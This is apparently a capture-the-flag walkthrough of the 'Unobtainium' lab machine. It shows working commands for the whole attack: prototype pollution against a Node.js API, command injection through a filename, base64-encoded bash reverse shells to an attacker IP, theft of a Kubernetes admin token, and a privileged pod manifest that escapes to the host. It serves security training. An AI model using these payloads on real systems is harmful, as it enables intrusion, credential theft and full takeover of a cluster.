Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.235 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.
-p-
scanning the entire port range, from 1 to 65535 .
-T5
insane mode, it is the fastest mode of the nmap time template.
-Pn
assume the host is online .
-n
scan without reverse DNS resolution.
-oN
save the scan result into a file, in this case the allports file.
Copy # Nmap 7.93 scan initiated Mon Apr 24 07:27:03 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.235
Nmap scan report for 10.10.10.235
Host is up (0.10s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8443/tcp open https-alt
10250/tcp open unknown
10251/tcp open unknown
31337/tcp open Elite
# Nmap done at Mon Apr 24 07:27:19 2023 -- 1 IP address (1 host up) scanned in 15.82 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80,8443,10250,10251,31337 10.10.10.235 -oN targeted
-sC
performs the scan using the default set of scripts .
-sV
enables version detection.
-oN
save the scan result into file, in this case the targeted file.
Copy # Nmap 7.93 scan initiated Mon Apr 24 07:28:49 2023 as: nmap -sCV -p22,80,8443,10250,10251,31337 -Pn -n -oN targeted 10.10.10.235
Nmap scan report for 10.10.10.235
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Unobtainium
|_http-server-header: Apache/2.4.41 (Ubuntu)
8443/tcp open ssl/https-alt
|_http-title: Site doesnt have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2024-04-23T07:26:15
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: a4ee99c0-b31d-4467-8463-87f0302f86ae
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Mon, 24 Apr 2023 07:29:03 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: f0b7bbb2-2581-46f3-84bd-ab47e11efaf2
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Mon, 24 Apr 2023 07:29:02 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 7aa3c392-9952-46d9-b03d-fe0f5cce67f1
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Mon, 24 Apr 2023 07:29:02 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2024-04-23T07:25:59
10251/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 24 Apr 2023 07:29:22 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 24 Apr 2023 07:28:56 GMT
| Content-Length: 19
|_ page not found
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=4/24%Time=64462FBE%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x20f0
SF:b7bbb2-2581-46f3-84bd-ab47e11efaf2\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Mon,\x2024\x20Ap
SF:r\x202023\x2007:29:02\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\
SF:x207aa3c392-9952-46d9-b03d-fe0f5cce67f1\r\nCache-Control:\x20no-cache,\
SF:x20private\r\nContent-Type:\x20application/json\r\nDate:\x20Mon,\x2024\
SF:x20Apr\x202023\x2007:29:02\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"k
SF:ind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fai
SF:lure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\
SF:":401}\n")%r(FourOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\
SF:nAudit-Id:\x20a4ee99c0-b31d-4467-8463-87f0302f86ae\r\nCache-Control:\x2
SF:0no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20
SF:Mon,\x2024\x20Apr\x202023\x2007:29:03\x20GMT\r\nContent-Length:\x20129\
SF:r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"sta
SF:tus\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorize
SF:d\",\"code\":401}\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port10251-TCP:V=7.93%I=7%D=4/24%Time=64462FB8%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache
SF:-Control:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Mon,\x202
SF:4\x20Apr\x202023\x2007:28:56\x20GMT\r\nContent-Length:\x2019\r\n\r\n404
SF:\x20page\x20not\x20found\n")%r(HTTPOptions,D2,"HTTP/1\.0\x20404\x20Not\
SF:x20Found\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nD
SF:ate:\x20Mon,\x2024\x20Apr\x202023\x2007:28:56\x20GMT\r\nContent-Length:
SF:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(
SF:SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Kerberos,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(F
SF:ourOhFourRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache-Control:
SF:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Mon,\x2024\x20Apr\
SF:x202023\x2007:29:22\x20GMT\r\nContent-Length:\x2019\r\n\r\n404\x20page\
SF:x20not\x20found\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 24 07:30:29 2023 -- 1 IP address (1 host up) scanned in 99.52 seconds
The main website shows a simple landing page with download links for .zip
files.
Let's download the deb
one, as I am using Kali Linux . Then, decompress the file with dpkg .
dpkg-deb -xv unobtainium_1.0.0_amd64.deb decompressed
We could find for executable binaries inside the decompressed folder. We'll see that there is one called unobtainium
.
find decompressed/ -executable
Copy ...
decompressed/opt/unobtainium/unobtainium
...
We won't be able to run it as root .
decompressed/opt/unobtainium/unobtainium
Copy [500007:0425/133853.259544:FATAL:electron_main_delegate.cc(253)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.
Let's become a privilege with fewer privileges, and run the binary.
su alfa8sa
decompressed/opt/unobtainium/unobtainium
The program can not reach unobtainium.htb
because it can't resolve the domain. Let's add it to the /etc/hosts
file.
nano /etc/hosts
Copy # Host addresses
127.0.0.1 localhost
127.0.1.1 alfa8sa
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
f02::2 ip6-allrouters
10.10.10.235 unobtainium.htb
Now, run the binary again.
decompressed/opt/unobtainium/unobtainium
It has several functionalities, such us the Message Log
.
The Post Messages
, where we can post messages.
And the Todo
section, where there is a list.
Exploitation
It looks like the program is retrieving the data from somewhere. Let's use WireShark to see all the network packets. Select the tun0
network interface.
Now, navigate to all the different sections of the program to generate some traffic. Then filter only for HTTP packets.
There is one POST request to /todo
, let's inspect that request from Follow > TCP Stream
.
The request is retrieving the content of the todo.txt
file using some credentials in plain text.
Let's try to replicate the request with curl .
curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' -H 'Content-Type: application/json' | jq
Copy {
"ok": true,
"content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"
}
As we saw in the nmap report, the web server is using NodeJS . Which means that there could be an index.js
file. Let's try to get its content.
curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' -H 'Content-Type: application/json' | jq
Copy {
"ok": true,
"content": "var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n {name: 'felamos', password: 'Winter2021'},\n {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n return users.find((u) =>\n u.name === auth.name &&\n u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n res.send(messages);\n});\n\napp.put('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n const message = {\n icon: '__',\n };\n\n _.merge(message, req.body.message, {\n id: lastId++,\n timestamp: Date.now(),\n userName: user.name,\n });\n\n messages.push(message);\n res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user || !user.canDelete) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n messages = messages.filter((m) => m.id !== req.body.messageId);\n res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user || !user.canUpload) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n\n filename = req.body.filename;\n root.upload(\"./\",filename, true);\n res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n filename = req.body.filename;\n testFolder = \"/usr/src/app\";\n fs.readdirSync(testFolder).forEach(file => {\n if (file.indexOf(filename) > -1) {\n var buffer = fs.readFileSync(filename).toString();\n res.send({ok: true, content: buffer});\n }\n });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"
}
There we have the code of the index.js
file. Let's clean the output, and put it into the index.js
file.
curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' -H 'Content-Type: application/json' | jq '.["content"]' | sed 's/\n/\n/g' | tr -d '' | head -c -2 > index.js
Let's check the index.js
file. First, we can see that it is requiring google-cloudstorage-commands
.
Copy var root = require("google-cloudstorage-commands");
...
Copy ...
root.upload("./",filename, true);
...
The problem is that we can not exploit this vulnerability jet because that line is inside the upload
function, which we can not use because the felamos
user doesn't have privileges to upload files.
Copy ...
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
...
We need to find a way to set canUpload: true
on the felamos
user. There is a Prototype Pollution vulnerability in the following part of the code.
Copy ...
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {
icon: '__',
};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
...
We can exploit this vulnerability by doing a PUT request and sending {"canUpload":"true"}
as the message.
curl -s -X PUT http://unobtainium.htb:31337/ -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":"true"}}}' -H 'Content-Type: application/json' | jq
Now we should have canUpload
set to true
, and we should be able to upload files and exploit the command injection vulnerability. First, base64 encode a one-liner reverse shell.
echo -n 'bash -i >& /dev/tcp/10.10.14.9/4444 0>&1' | base64
Copy YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ==
Set a netcat listener on port 4444.
nc -lvnp 4444
Finally, if we send the payload as the filename, we'll get a reverse shell as root in the machine, and we'll be able to grab the user flag.
curl -s -X POST http://unobtainium.htb:31337/upload -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ== | base64 -d | bash"}' -H 'Content-Type: application/json' | jq
Copy Listening on 0.0.0.0 4444
Connection received on 10.10.10.235 59783
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# whoami
root
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# hostname
webapp-deployment-9546bc7cb-6r7sq
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# cat /root/user.txt
13a666069a53228977d4a5af9d806e68
Privilege Escalation
It looks like we are in a container because the IP address of the machine is 10.42.0.43
.
ip a
Copy 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default
link/ether 12:05:0a:40:e2:32 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.42.0.43/24 brd 10.42.0.255 scope global eth0
valid_lft forever preferred_lft forever
There is one cron job removing the kubectl
binary from the system.
cat /etc/cron.d/clear-kubectl
Copy * * * * * find / -name kubectl -exec rm {} \;
Let's download the kubectl tool, and transfer it to the machine.
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python -m http.server 80
Download it from the container.
cd /tmp
wget http://10.10.14.9/kubectl
chmod +x kubectl
./kubectl
Copy kubectl controls the Kubernetes cluster manager.
...
It works. Let's enumerate Kubernetes with this tool. As we can see, we have permission to list namespaces.
./kubectl auth can-i list namespaces
We can even get them.
./kubectl auth can-i get namespaces
There are some active namespaces.
./kubectl get namespaces
Copy NAME STATUS AGE
default Active 239d
kube-system Active 239d
kube-public Active 239d
kube-node-lease Active 239d
dev Active 239d
The dev
namespace has some pods running.
./kubectl get pod -n dev
Copy NAME READY STATUS RESTARTS AGE
devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 4 (238d ago) 239d
devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 4 (238d ago) 239d
devnode-deployment-776dbcf7d6-g4659 1/1 Running 4 (238d ago) 239d
If we describe the first one, we'll see a different IP address.
./kubectl describe pods/devnode-deployment-776dbcf7d6-sr6vj -n dev
Copy Name: devnode-deployment-776dbcf7d6-sr6vj
Namespace: dev
Priority: 0
Service Account: default
Node: unobtainium/10.10.10.235
Start Time: Mon, 29 Aug 2022 09:32:21 +0000
Labels: app=devnode
pod-template-hash=776dbcf7d6
Annotations: <none>
Status: Running
IP: 10.42.0.42
IPs:
IP: 10.42.0.42
Controlled By: ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
devnode:
Container ID: docker://dd814e500cba345c65ca5909a1a297c25a95d97ae3c6313086b96f14b2c8de6c
Image: localhost:5000/node_server
Image ID: docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
Port: 3000/TCP
Host Port: 0/TCP
State: Running
Started: Tue, 25 Apr 2023 09:32:57 +0000
Last State: Terminated
Reason: Error
Exit Code: 137
Started: Mon, 29 Aug 2022 11:17:59 +0000
Finished: Mon, 29 Aug 2022 11:19:32 +0000
Ready: True
Restart Count: 4
Environment: <none>
Mounts:
/root/ from user-flag (rw)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-hj9dt (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
user-flag:
Type: HostPath (bare host directory volume)
Path: /opt/user/
HostPathType:
kube-api-access-hj9dt:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>
It is listening on port 3000. The same port we saw that index.js
was running on.
Copy ...
app.listen(3000);
console.log('Listening on port 3000...');
We even have connectivity with that IP address.
ping -c 1 10.42.0.42
Copy PING 10.42.0.42 (10.42.0.42) 56(84) bytes of data.
64 bytes from 10.42.0.42: icmp_seq=1 ttl=64 time=0.086 ms
--- 10.42.0.42 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.086/0.086/0.086/0.000 ms
It looks like it has the same web server running on it.
curl -s -X POST "http://10.42.0.42:3000/todo"
Copy {"ok":false,"error":"Access denied"}
Maybe we can exploit the Prototype Pollution vulnerability again. Set another netcat listener on port 4444.
nc -lvnp 4444
And try to exploit the new webserver the same way we did before.
curl -s -X PUT http://10.42.0.42:3000/ -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"proto ":{"canUpload":"true"}}}' -H 'Content-Type: application/json'
curl -s -X POST http://10.42.0.42:3000/upload -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ== | base64 -d | bash"}' -H 'Content-Type: application/json'
Copy Listening on 0.0.0.0 4444
Connection received on 10.10.10.235 38702
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# whoami
whoami
root
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# hostname -I
hostname -I
10.42.0.42
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# hostname
hostname
devnode-deployment-776dbcf7d6-sr6vj
Now we have access to another container. It has the same cron job as the other container.
cat /etc/cron.d/clear-kubectl
Copy * * * * * find / -name kubectl -exec rm {} \;
Transfer the kubectl tool to the new container.
python -m http.server 80
Download it.
cd /tmp
wget http://10.10.14.9/kubectl
chmod +x kubectl
./kubectl
Copy kubectl controls the Kubernetes cluster manager.
...
As we can see, in this container we have privileges to get the secrets of the kube-system
namespace.
./kubectl auth can-i get secrets -n kube-system
There are a bunch of secrets, but there is one called c-admin-token-b47f7
.
./kubectl get secrets -n kube-system
Copy NAME TYPE DATA AGE
...
c-admin-token-b47f7 kubernetes.io/service-account-token 3 239d
This secret contains a JWT.
./kubectl describe secrets/c-admin-token-b47f7 -n kube-system
Copy Name: c-admin-token-b47f7
Namespace: kube-system
Labels: <none>
Annotations: kubernetes.io/service-account.name: c-admin
kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c
Type: kubernetes.io/service-account-token
Data
====
ca.crt: 570 bytes
namespace: 11 bytes
token: eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
Put the token in the c-admin-token-b47f7
file.
echo 'eyJh...tgZA' > c-admin-token-b47f7
With this token, we might be able to do more things, such as creating new pods.
./kubectl auth can-i create pod --token $(cat c-admin-token-b47f7)
Now that we can create new pods, there is a way to escape the container, and gain access to the main machine. First, we need to create the pwned.yaml
file with the following content.
nano pwned.yaml
Copy apiVersion: v1
kind: Pod
metadata:
name: pwned
spec:
hostNetwork: true
containers:
- name: pwned
image: localhost:5000/node_server
securityContext:
privileged: true
volumeMounts:
- mountPath: /root/
name: getflag
command: ["/bin/bash"]
args: ["-c", "/bin/bash -i >& /dev/tcp/10.10.14.9/4444 0>&1;"]
volumes:
- name: getflag
hostPath:
path: /root/
Now, download it from the container.
wget http://10.10.14.9/pwned.yaml
Now, set another netcat listener on port 4444.
nc -lvnp 4444
And create a new pod using the pwned.yaml
file and the token. We should gain access as root into the main machine, and then all we have to do is reap the harvest and take the root flag.
./kubectl create -f pwned.yaml --token $(cat c-admin-token-b47f7)
Copy Listening on 0.0.0.0 4444
Connection received on 10.10.10.235 55246
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@unobtainium:/usr/src/app# whoami
whoami
root
root@unobtainium:/usr/src/app# hostname
hostname
unobtainium
root@unobtainium:/usr/src/app# hostname -I
hostname -I
10.10.10.235 172.17.0.1 10.42.0.0 10.42.0.1 dead:beef::250:56ff:feb9:ae18
root@unobtainium:/usr/src/app# cat /root/root.txt
cat /root/root.txt
4eb68720512c2a49a79eebb9480ce8c6